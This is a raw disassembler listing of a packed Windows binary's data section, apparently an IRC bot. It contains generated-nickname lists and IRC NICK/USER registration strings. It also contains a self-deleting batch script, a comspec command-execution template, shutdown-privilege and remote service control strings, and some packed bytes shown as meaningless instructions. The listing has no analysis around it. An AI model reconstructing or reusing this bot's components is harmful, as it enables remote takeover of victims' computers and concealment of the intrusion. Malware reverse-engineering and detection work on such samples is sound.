		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439038
		dd offset off_439034
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438EA0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
; ---------------------------------------------------------------------------
		fmul	dword ptr [ebp-7233FFBDh]
		inc	ebx
		add	al, al
		lea	eax, [ebx+0]
		mov	ah, 8Dh
		inc	ebx
		add	[eax-5FFFBC73h], ch
		lea	eax, [ebx+0]
		xchg	eax, esp
		lea	eax, [ebx+0]


loc_438A6C:				; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
		mov	[ebp-6A07FFBDh], cl
		inc	edx
		add	[ebp+ecx*4-727FFFBDh], al
		inc	ebx
		add	[eax-73h], bh
		inc	ebx
		add	[ebp+ecx*4+43h], dh
		add	[eax-73h], dh
		inc	ebx
		add	[eax-73h], ch
		inc	ebx
		add	[eax-73h], ah
		inc	ebx
		add	[eax-73h], bl
		inc	ebx
		add	[eax-73h], dl
		inc	ebx
		add	[eax-73h], cl
		inc	ebx
		add	[eax-73h], al
		inc	ebx
		add	[eax], bh
		lea	eax, [ebx+0]
		xor	[ebp-72DBFFBDh], cl
		inc	ebx
		add	ds:8D140043h[ecx*4], bl
		inc	ebx
		add	[eax], dl
		lea	eax, [ebx+0]
		or	[ebp-6D03FFBDh], cl
		inc	ebx
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439318
		dd offset aE		; "e"
		dd offset dword_439314
		dd offset dword_439310
		dd offset dword_43930C
		dd offset aI		; "i"
		dd offset dword_42B93C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_439308
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439320
		dd offset dword_439300
		dd offset dword_43931C
		dd offset dword_439304
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
; ---------------------------------------------------------------------------
		aam	8Ch
		inc	ebx
		add	ah, cl
		mov	word ptr [ebx+0], es
		les	ecx, [ebx+eax*2+43930400h]
		add	[eax], dl
		xchg	eax, ebx


loc_438B52:				; CODE XREF: .packed:00438BC4j
		inc	ebx
		add	[eax-73FFBD3Ah], al
		mov	byte ptr [edx+0], 0C0h
		mov	word ptr [ebx+0], es
		mov	eax, 9800438Ch
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		mov	ah, 8Ch
		inc	ebx
		add	[eax-67FFBC25h], bl
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		int	3		; Trap to Debugger
		xchg	eax, edx
		inc	ebx
		add	[edx+edx*4-7353FFBDh], bl
		inc	ebx
		add	[eax-5FFFBC74h], ch
		mov	word ptr [ebx+0], es
		cld
		xchg	eax, edx
		inc	ebx
		add	[eax-6BFFBC25h], bl
		mov	word ptr [ebx+0], es
		cwde
		fild	dword ptr [ebx+0]
		cwde
		fild	dword ptr [ebx+0]
		mov	word ptr [ebx+eax*2+438C8400h],	cs
		add	[eax-67FFBC25h], bl
		fild	dword ptr [ebx+0]
		mov	al, 92h
		inc	ebx
		add	[eax-7FFFBC25h], bl
		mov	word ptr [ebx+0], es
		js	short loc_438B52
		inc	ebx
		add	[eax-74h], dh
		inc	ebx
		add	[eax-74h], ch
		inc	ebx
		add	[esp+ecx*4+43h], ah
		add	[esp+ecx*4+43h], bl
		add	[esp+ecx*4+43h], dl
		add	[esp+ecx*4+43h], cl
		add	[esp+ecx*4+43h], al
		add	[eax-74h], al
		inc	ebx
		add	[esp+ecx*4], bh
		inc	ebx
		add	[esp+ecx*4], dh
		inc	ebx
		add	[eax], ch
		mov	word ptr [ebx+0], es
		and	[ebx+eax*2+438C1800h], cl
		add	[eax], dl
		mov	word ptr [ebx+0], es
		or	al, 8Ch
		inc	ebx
		add	[eax], cl
		mov	word ptr [ebx+0], es
		db	36h
		jnz	short $+3
		add	ds:7C000075h, dh
		xor	al, 75h
		jl	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F79347Bh, 7D75h, 7375347Ch,	7Ch, 7865737Ch,	65726634h
		dd 7C65h, 6F6C6F6Ch, 7C617Ch, 6C6F6Ch, 746F74h,	6F666F6Dh
		dd 0
aMof0		db 'mof0',0
		align 4
aMuha		db 'muha',0
		align 4
aYeah		db 'yeah',0
		align 4
aAha		db 'aha',0
aShit		db 'shit',0
		align 10h
aGurl		db 'gurl',0
		align 4
aGirl_0		db 'GIRL',0
		align 10h
aBoy		db 'BOY',0
aFree		db 'Free',0
		align 4
aFuck_0		db 'Fuck',0
		align 4
aSleeping	db 'Sleeping',0
		align 10h
aF_2		db '^^^f^',0
		align 4
aSad		db 'Sad',0
aLuvu		db 'LUVU',0
		align 4
a___0		db '_|_',0
aBbl		db '|bbl',0
		align 10h
		dd offset loc_425240+2
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .packed:00438B3Co
		align 4
aUi		db 'ui',0               ; DATA XREF: .packed:00438B38o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .packed:00438B34o
aRt		db 'rt',0               ; DATA XREF: .packed:00438B30o
		align 10h
aGf		db 'gf',0               ; DATA XREF: .packed:00438B2Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .packed:00438B28o
		align 4
aRg		db 'rg',0               ; DATA XREF: .packed:00438B24o
		align 4
aHappy		db 'happy',0            ; DATA XREF: .packed:00438B20o
		align 4
aRs		db 'rs',0               ; DATA XREF: .packed:00438B00o
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0
		align 4
aSex_0		db '{sex}',0
		align 10h
aHub		db '{hub}',0
		align 4
aLuck		db '|luck|',0
		align 10h
aSuck		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 10h
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 10h
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 10h
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 10h
aDallas43m	db 'DALLAS43M',0
		align 4
aTeoman		db 'TEOMAN```',0
		align 4
aRerpjj		db 'RERPJJ',0
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: .packed:00438A4Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .packed:00438A48o
aTropikal	db 'tropikal',0         ; DATA XREF: .packed:00438A44o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .packed:00438A40o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .packed:00438A3Co
		align 4
aUla		db 'ula',0              ; DATA XREF: .packed:00438A38o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .packed:00438A34o
aAkden		db 'akden',0            ; DATA XREF: .packed:00438A30o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .packed:00438A2Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: .packed:00438A28o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: .packed:00438A24o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .packed:00438A20o
aM41ist		db 'M41IST',0           ; DATA XREF: .packed:00438A1Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .packed:00438A18o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .packed:00438A14o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .packed:00438A10o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .packed:00438A0Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: .packed:00438A08o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .packed:00438A04o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .packed:00438A00o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .packed:004389FCo
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .packed:004389F8o
		align 10h
off_438EA0	dd offset byte_4B5245	; DATA XREF: .packed:004389F4o
aSevda		db 'sevda',0            ; DATA XREF: .packed:004389F0o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .packed:004389ECo
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .packed:004389E8o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .packed:004389E4o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .packed:004389E0o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .packed:004389DCo
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .packed:004389D8o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .packed:004389D4o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: .packed:004389D0o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .packed:004389CCo
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .packed:004389C8o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .packed:004389C4o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .packed:004389C0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .packed:004389BCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .packed:004389B8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .packed:004389B4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .packed:004389B0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .packed:004389ACo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: .packed:004389A8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .packed:004389A4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .packed:004389A0o
aHoly		db 'holy',0             ; DATA XREF: .packed:0043899Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: .packed:00438998o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: .packed:00438994o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .packed:00438990o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .packed:0043898Co
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: .packed:00438988o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .packed:00438984o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .packed:00438980o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .packed:0043897Co
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .packed:00438978o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .packed:00438974o
aArda		db 'arda',0             ; DATA XREF: .packed:00438970o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .packed:0043896Co
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .packed:00438968o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .packed:00438964o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .packed:00438960o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .packed:0043895Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .packed:00438958o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .packed:00438954o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .packed:00438950o
		align 4
off_439034	dd offset byte_457441	; DATA XREF: .packed:0043894Co
dword_439038	dd 414C5941h, 2Dh	; DATA XREF: .packed:00438948o
aAlbina		db 'albina',0           ; DATA XREF: .packed:00438944o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .packed:00438940o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .packed:0043893Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .packed:00438938o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .packed:00438934o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .packed:00438930o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .packed:0043892Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .packed:00438928o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .packed:00438924o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .packed:00438920o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .packed:0043891Co
aAslii		db 'aslii',0            ; DATA XREF: .packed:00438918o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: .packed:00438914o
aHaticem	db 'haticem',0          ; DATA XREF: .packed:00438910o
aArzu		db 'ARZU',0             ; DATA XREF: .packed:0043890Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .packed:00438908o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .packed:00438904o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .packed:00438900o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .packed:004388FCo
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .packed:004388F8o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .packed:004388F4o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .packed:004388F0o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .packed:004388ECo
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .packed:004388E8o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .packed:004388E4o
aTolga34	db 'Tolga34',0          ; DATA XREF: .packed:004388E0o
aMisssunday	db 'misssunday',0       ; DATA XREF: .packed:004388DCo
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .packed:004388D8o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .packed:004388D4o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: .packed:004388D0o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .packed:004388CCo
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: .packed:004388C8o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .packed:004388C4o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .packed:004388C0o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .packed:004388BCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .packed:004388B8o
aReshma		db 'reshma',0           ; DATA XREF: .packed:004388B4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .packed:004388B0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .packed:004388ACo
		align 4
aImra		db 'imra',0             ; DATA XREF: .packed:004388A8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .packed:004388A4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: .packed:004388A0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .packed:0043889Co
		align 4
aManee		db 'manee',0            ; DATA XREF: .packed:00438898o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .packed:00438894o
aLuisa		db 'Luisa',0            ; DATA XREF: .packed:00438890o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .packed:0043888Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .packed:00438888o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: .packed:00438884o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .packed:00438880o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: .packed:0043887Co
		align 4
aCme		db 'cme',0              ; DATA XREF: .packed:00438878o
aMarcy		db 'marcy',0            ; DATA XREF: .packed:00438874o
		align 4
aTalika		db 'talika',0           ; DATA XREF: .packed:00438870o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .packed:0043886Co
		align 4
aKen		db 'ken',0              ; DATA XREF: .packed:00438868o
aFlexster	db 'flexster',0         ; DATA XREF: .packed:00438864o
		align 4
aKoko		db 'koko',0             ; DATA XREF: .packed:00438860o
		align 4
aMale		db 'male',0             ; DATA XREF: .packed:0043885Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: .packed:00438858o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .packed:00438854o
aKrizha		db 'KRIZHA',0           ; DATA XREF: .packed:00438850o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .packed:0043884Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .packed:00438848o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .packed:00438844o
aFarooq		db 'farooq',0           ; DATA XREF: .packed:00438840o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .packed:0043883Co
		align 4
aM_0:					; DATA XREF: .packed:00438838o
		unicode	0, <M>,0
word_4392A0	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; .packed:00438834o
		align 4
dword_4392A4	dd 42h			; DATA XREF: .packed:00438830o
dword_4392A8	dd 56h			; DATA XREF: .packed:0043882Co
dword_4392AC	dd 43h			; DATA XREF: .packed:00438828o
dword_4392B0	dd 58h			; DATA XREF: .packed:00438824o
dword_4392B4	dd 5Ah			; DATA XREF: .packed:00438820o
dword_4392B8	dd 4Ch			; DATA XREF: .packed:0043881Co
dword_4392BC	dd 4Bh			; DATA XREF: .packed:00438818o
dword_4392C0	dd 4Ah			; DATA XREF: .packed:00438814o
dword_4392C4	dd 48h			; DATA XREF: .packed:00438810o
dword_4392C8	dd 47h			; DATA XREF: .packed:0043880Co
dword_4392CC	dd 46h			; DATA XREF: .packed:00438808o
dword_4392D0	dd 44h			; DATA XREF: .packed:00438804o
dword_4392D4	dd 53h			; DATA XREF: .packed:00438800o
dword_4392D8	dd 50h			; DATA XREF: .packed:004387F8o
dword_4392DC	dd 4Fh			; DATA XREF: .packed:004387F4o
dword_4392E0	dd 55h			; DATA XREF: .packed:004387ECo
word_4392E4	dw 59h			; DATA XREF: sub_41A6EA+38r
					; .packed:004387E8o
		align 4
dword_4392E8	dd 54h			; DATA XREF: .packed:004387E4o
dword_4392EC	dd 52h			; DATA XREF: .packed:004387E0o
dword_4392F0	dd 45h			; DATA XREF: .packed:004387DCo
dword_4392F4	dd 57h			; DATA XREF: .packed:004387D8o
dword_4392F8	dd 51h			; DATA XREF: .packed:004387D4o
dword_4392FC	dd 62h			; DATA XREF: .packed:004387C8o
dword_439300	dd 78h			; DATA XREF: .packed:004387BCo
					; .packed:00438B14o
dword_439304	dd 7Ah			; DATA XREF: .packed:004387B8o
					; .packed:00438B1Co
dword_439308	dd 6Ch			; DATA XREF: .packed:004387B4o
					; .packed:00438AE8o
dword_43930C	dd 68h			; DATA XREF: .packed:004387A8o
					; .packed:00438AD4o
dword_439310	dd 67h			; DATA XREF: .packed:004387A4o
					; .packed:00438AD0o
dword_439314	dd 66h			; DATA XREF: .packed:004387A0o
					; .packed:00438ACCo
dword_439318	dd 64h			; DATA XREF: .packed:0043879Co
					; .packed:00438AC4o
dword_43931C	dd 79h			; DATA XREF: .packed:00438784o
					; .packed:00438B18o
dword_439320	dd 77h			; DATA XREF: .packed:00438774o
					; .packed:00438B10o
dword_439324	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439330	dd 323334h		; DATA XREF: sub_417B76+79o
dword_439334	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_43937C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C8	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393E4:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F8	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394AC	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394DC	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439504	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439520	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_439524	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439528	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439594h, 43958Ch,	2, 439580h, 439574h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .packed:00439554o
aStop_0		db 'Stop',0             ; DATA XREF: .packed:00439550o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .packed:00439548o
aStart_0	db 'Start',0            ; DATA XREF: .packed:00439544o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .packed:0043953Co
		align 4
aList_1		db 'List',0             ; DATA XREF: .packed:00439538o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .packed:00439530o
aDelete_0	db 'Delete',0           ; DATA XREF: .packed:0043952Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: .packed:off_439524o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .packed:off_439520o
unk_4395E8	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43960C	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439638	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
